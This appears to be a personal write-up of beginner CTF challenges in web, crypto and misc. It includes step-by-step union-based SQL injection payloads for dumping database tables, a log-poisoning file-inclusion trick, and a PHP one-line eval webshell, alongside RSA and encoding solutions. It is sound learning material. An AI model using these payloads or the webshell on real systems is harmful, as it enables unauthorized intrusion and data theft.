简单记录一下自己做题的过程,方便以后进行复习
WEB、Crypto、MISC都涉及一些(入门级别,不是很难,希望得到师傅们的建议)
主要是多做题获得到解题的思路和经验
WEB1
F12查看网页信息
base64解码
WEB2
考察:SQL手工注入
必要知识点:在Mysql5.0以上版本中,Mysql存在一个自带数据库名为information_schema,它是一个存储记录所有数据名、表名、列名的数据库,也相当于查询它就能获取数据库的相关信息,这种查询方法也被称为联合查询。
需要收集的相关信息:
版本——version()
名字——database()
用户——user()
操作系统——@@version_compile_OS
information_schema.tables 记录所有表名信息的表
information_schema.columns 记录所有列名信息的表
table_name 表名
column_name 列名
table_schema 数据库名
limit 1,x 猜解多个数据
#-- 注释(有多种注释方法)
手工注入的过程:
(1)判断注入点
这里是一个登陆界面,那么注入点就只可能在用户名处
获取字段数,用order by x 一个个试,有回显则说明正确
' or 1=1 order by 3 #
这里成功试出数据库字段为3
' or 1=1 union select 1,2,3 limit 1,2 #
通过上述语句得到相应可以获取信息的字段在2的位置
(2)获取数据库名
' or 1=1 union select 1,database(),3 limit 1,2 #
数据库:web2
(3)查询所有的表名信息
' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='web2' limit 1,2 #
获得所有的表名,这里一共有两张表flag和user
(4)查询指定表名flag下的列名信息
' or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag' limit 1,2 #
列名也为flag
(5)获取flag表记录的值
' or 1=1 union select 1,(select flag from flag limit 0,1),3 limit 1,2;#--
WEB3
文件上传+php+burp抓包
cat ctf_go_go_go
获得flag
WEB4
发现文件包含漏洞
访问/?url=/var/log/nginx/access.log日志文件
传ma用蚁剑连接
<?php @eval($_POST['123']);?>
获得flag.txt
crypto2
发现是JSfuck编码,直接用JSfuck解密即可
crypto3
发现是AAencode编码,直接解密得到flag
crypto4
这题考察的是RSA密码体系的构建,现在两个素数p、q以及公钥e都给出来了,要我们求出私钥d
数学原理很简单就是ed模φ(p*q)=φ§φ(q)=(p-1)(q-1)与1同余,即可求出d
可以使用RSA-Tool 2
依次输入p、q、n、e
其中n=p*q,e为公钥,这里e是要写成十六进制的形式
也可以用脚本跑出来
脚本如下:
def computeD(fn, e):
(x, y, r) = extendedGCD(fn, e)
#y maybe < 0, so convert it
if y < 0:
return fn + y
return y
def extendedGCD(a, b):
#a*xi + b*yi = ri
if b == 0:
return (1, 0, a)
#a*x1 + b*y1 = a
x1 = 1
y1 = 0
#a*x2 + b*y2 = b
x2 = 0
y2 = 1
while b != 0:
q = a / b
#ri = r(i-2) % r(i-1)
r = a % b
a = b
b = r
#xi = x(i-2) - q*x(i-1)
x = x1 - q*x2
x1 = x2
x2 = x
#yi = y(i-2) - q*y(i-1)
y = y1 - q*y2
y1 = y2
y2 = y
return(x1, y1, a)
def rsa(p, q, e):
n = p * q
fn = (p - 1) * (q - 1)
d = computeD(fn, e)
return d
p = eval(input())
q = eval(input())
e = eval(input())
print(rsa(p,q,e))
crypto5
这题考察RSA密码体系的解密过程
p=447685307 q=2037 e=17 c=704796792
n=p*q=911,934,970,359
由上题计算得到d=53616899001
依次输出,即可计算出m
使用大数计算工具可以计算出m=904332399012
crypto6
Rabbit加密
MISC2
用kali的file命令查看file文件类型,发现它是DOS/MBR,一种软盘分区文件
创建个虚拟机添加软盘试试打开
得到flag
MISCx
hint.txt和flag.txt都有密码,只能解压misc1.zip
解压misc1.zip过后,发现music.doc加密了,但是misc.png能打开,直接打开发现2020,猜测这个是doc文件的密码
misc.png打开得到2020的图片
试着用2020打开music.doc
打开后发现一串加密的文本,很容易猜到这是音乐乐符加密密文
♭‖♭‖‖♯♭♭♬‖♩♫‖♬∮♭♭¶♭‖♯‖¶♭♭‖∮‖‖♭‖§♭‖♬♪♭♯§‖‖♯‖‖♬‖‖♪‖‖♪‖¶§‖‖♬♭♯‖♭♯♪‖‖∮‖♬§♭‖‖‖♩♪‖‖♬♭♭♬‖♩♪‖♩¶‖♩♪‖♩♬‖¶§‖‖♩‖¶♫♭♭♩‖♬♯‖♬§♭‖♭‖♩¶‖‖∮♭♭♬‖‖♭‖♫§‖¶♫‖♩∮♭♭§‖♭§‖♭§§=
这个是音乐字符加解密的在线网站地址:https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=yinyue
解密得到:
U2FsdGVkX1/eK2855m8HM4cTq8Fquqtm6QDbcUu4F1yQpA==
这看起来好像是rabbit的密文,因为压缩包里面备注有提示,先去试试去解密看看,密码还是2020
得到:
welcome_to_payhelp
使用上面解密得到的密码可以解压得到hint.txt
经过6次base64解密可以得到
这里有一些URL编码,可以对照下表找到对应的字符
所以可以得到flag.txt的解压密码是hello 2020!
善始者实繁,克终者盖寡。